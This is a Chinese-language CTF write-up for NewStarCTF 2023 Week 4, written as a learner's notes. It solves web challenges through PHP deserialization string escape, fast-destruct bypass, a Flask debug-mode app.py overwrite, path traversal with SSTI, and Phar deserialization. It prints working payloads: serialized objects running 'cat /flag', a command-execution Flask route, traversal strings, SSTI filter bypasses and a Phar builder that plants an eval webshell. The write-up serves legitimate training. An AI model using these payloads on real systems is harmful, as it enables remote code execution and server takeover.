Writeup_2023_NewStarCTF_Week4

NewStarCTF第四周,菜鸟的wp


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);//经过waf后长度加一
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

简单反序列化字符串逃逸,代码限制了$cmd的值只能是whoami,不过输入的$key可控,同时经过str_replacebad被换成good,会往后吞一个字符。

构造";s:3:"cmd";s:2:"ls";},这东西长度一共22,所以要放22bad。经过waf后被替换它吐出去。

payload:

1
$key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

justrun1

1
$key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

juestrun2

1
$key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

flag{86b29bdb-7b5e-4348-b81e-84953119c4fc}

More Fast

题目描述:再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){//调用函数的方式调用一个对象
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {//从invoke方法跳到这里
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);//system('cat /fl*')
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() { //类被当成字符串处理,从destruct跳到这
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);

throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

正常pop链构造的题不过底下加了个throw new Exception("Nope");。最开始没注意这个东西直接写了链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//__destruct开头,__toString,__get,__invoke,evil
<?php
class Start{
public $errMsg;
}

class Pwn{
public $obj;
}

class Reverse{
public $func;
}

class Web{
public $func = 'system';
public $var = 'ls';
}

class Crypto{
public $obj;
}

class Misc{

}

$a = new Start();
$b = new Crypto();
$c = new Reverse();
$d = new Pwn();
$e = new Web();
$a -> errMsg = $b;
$b -> obj = $c;
$c -> func = $d;
$d -> obj = $e;

echo serialize($a);

后面才知道考点是fast destruct,下面的内容参考了:https://eastjun.top/posts/php_unserialize_tricks/

通常反序列化的入口都是__destruct()方法,``__wakeup()方法的内容一般为反序列化设置了某些限制,需要我们绕过。**如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。可以理解为throw这个函数回收了自动销毁的类,导致destruct检测不到有东西销毁,也就没法触发destruct`函数**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//借用这位师傅文章中的一个栗子:
class Clazz
{
public $func;
public $args;

public function __destruct()
{
call_user_func($this->func, $this->args);
}
}
$a = @unserialize($_POST['data']);
throw new Exception("Hacker");

fastdes1

POSTO:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}不会得到任何结果。

因为反序列化操作执行后没有立刻执行__destruct()方法,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。

我们正常的序列化结果是:O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}

可以修改为:

1
2
3
4
//末尾加入数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";1}
//去掉结尾的大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";

unserialize()函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()方法导致命令执行。

data=O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";1}

fastdes3

后面看了其它师傅的wp发现还有其它解法:

https://blog.csdn.net/m0_73512445/article/details/133694293

https://blog.csdn.net/Myon5/article/details/134018456

GC回收机制提前触发__destruct()

在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉。在回收的过程中,它会自动触发_destruct方法。
可以令$v = array($a,NULL)然后echo serialize($v):

1
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}i:1;N;}

然后把i:1;N;1改成0:

1
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}i:0;N;}

至于为啥修改我也不是很清楚。。

flask disk

flaskdisk1

三个路由:listuploadconsole

1
2
3
4
5
6
/list
app.py 1746b 2023-10-14 11:16:00
/upload
上传文件
/console
输入PIN码

一开始以为要去生成PIN码然后进控制台。。但捣鼓半天也没找到能读我需要的数据的地方。

upload这个路由倒是没啥限制,但我上传完东西不知道上传路径是啥。

后面看了下wp(参考:https://blog.csdn.net/m0_73512445/article/details/133694293):

因为访问console这个路由会提示要输入PIN码(说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rceapp.py文件把原来的覆盖,就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass

return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True) #题目提示了运行在5000端口

flaskdisk2

InjectMe

1
2
3
4
5
6
7
//Dockerfile
FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

injectme1

/app目录泄露,里面有原本在src目录中的文件。

injectme2

注意URL

injectme3

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/download", methods=["GET"])
def dwonload():
filename = request.arg.get('file', '')#从请求的参数中获取名为 'file' 的值,如果没有提供则默认为空字符串。
if filename:
filename = filename.replace('../', '') #../被替换成空,可以考虑..././绕过
filename = os.path.join('static/img/', filename) #将经过处理的文件名与 'static/img/' 目录拼接起来,生成最终的文件路径
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):#检查文件是否存在,并且文件路径中不包含 "start" 字符串
return send_file(filename)
else:
abort(500)
else:
abort(404)

我们利用目录穿越去找app,py:

cancanneed?file=..././..././..././app/app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)

注意/backdoor则个路由,很明显这里存在SSTI

from config import secret_key

目录穿越找config.py:

cancanneed?file=..././..././..././app/config.py

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

抓包看SESSION:

injectme4

eyJ1c2VyIjoiZ3Vlc3QifQ.ZWMqqQ.pyASrkelEUhTYiw79-4TDZ-IzwM

之前在Kali下过,直接用了:

injectme5

注入点就是这个guest了,但过滤了挺多东西。可以把guest换成{%print(7*7)%}看看:

{'user': '{%print(7*7)%}'}

injectme6

injectme7

其实+这东西被过滤了无所谓的,["__cla""ss__"]能达到同样的效果

{'user': '{%print(7*7)%}'}

{%%20print([]["__cl""ass__")%20%}

PharOne

phar1

源码中提示class.php:

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd); //注意这里的exec
}
}
@unlink($_POST['file']);

Phar反序列化,参考:https://mochu.blog.csdn.net/article/details/106909777

这东西个人理解主要就是phar压缩文件时,会序列化用户可控的meta-data的内容。然后和phar://协议配合把这个字段的内容反序列化,从而触发__destruct()等方法。

利用条件:

1
2
3
4
5
6
7
8
9
10
11
//参考:https://www.cnblogs.com/CoLo/p/16786627.html
1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化

4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

利用参考文章中的代码生成我们需要的phar文件:

要注意的就是exec是没回显的,如果是eval我们直接可以写命令进去

看了官方的wp,学习了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//whatsphar.php
<?php
class Flag{
public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

\这东西是转义用的:

phar4

对于$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";

利用echo输出<?=@eval(\\\$_POST['a']);?>这个字符串,然后把它重定向到/var/www/html/1.php中。简单说就是把一句话木马写到对应文件里。

可以看下AI解释:

phar5

再补充一下关于连续三个转义符号的解释。。直接贴我和x1r0z

phar9

phar10

phar11

如果题目给的是eval就没这么麻烦了。。

可以自己起个环境,访问/whatphar.php,在根目录刷新一下就能出现我们需要的hacker.phar文件了。

对于phar://协议来说文件名不重要,只要内容格式是phar即可触发反序列化:

phar3

。。触发了过滤,检查了文件内容并且不允许出现__HALT_COMPILER();?>

不过对于Phar文件结构来说,a sub中要求phar文件必须以__HALT_COMPILER();?>结尾,否则无法被phar扩展识别为phar文件。

搜了下phar文件过滤__HALT_COMPILER();?>https://cloud.tencent.com/developer/article/2278965

可以利用gizp将生成的Phar文件进行压缩:

phar8

然后将生成的hello.jpg直接上传,会给个上传路径:

phar6

class.php,利用phar协议反序列化:

file=phar://upload/f19fac1b1e7aa6a2df2d5cb5eada2d10.jpg

然后访问1.phpPOSTa传参执行命令就行了。

phar7

OtenkiBoy

这题不会。。跟着官方wp做的

下载附件后先看hint:

otenboy1

进入routes下(注意merge函数):

1
2
3
4
5
6
//info.js
const { mergeJSON, createDate } = require("./_components/utils");
const CONFIG = mergeJSON(require("../config.default"), require("../config"), true);
//submit.js
const { rndID, mergeJSON } = require("./_components/utils");
const result = await insert2db(mergeJSON(DEFAULT, data));

利用require引入了一个名为mergeJSON的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
//utils.js
const mergeJSON = function (target, patch, deep = false) {
if (typeof patch !== "object") return patch;
if (Array.isArray(patch)) return patch; // do not recurse into arrays
if (!target) target = {}
if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
for (let key in patch) {
if (key === "__proto__") continue; //这里过滤了`__proto__,可以用constructor.prototype代替`
if (target[key] !== patch[key])
target[key] = mergeJSON(target[key], patch[key]);
}
return target;
}

Writeup_2023_NewStarCTF_Week4
http://example.com/2023/11/30/week4-Writeup_2023_NewStarCTF_Week4/
作者
notbad3
发布于
2023年11月30日
许可协议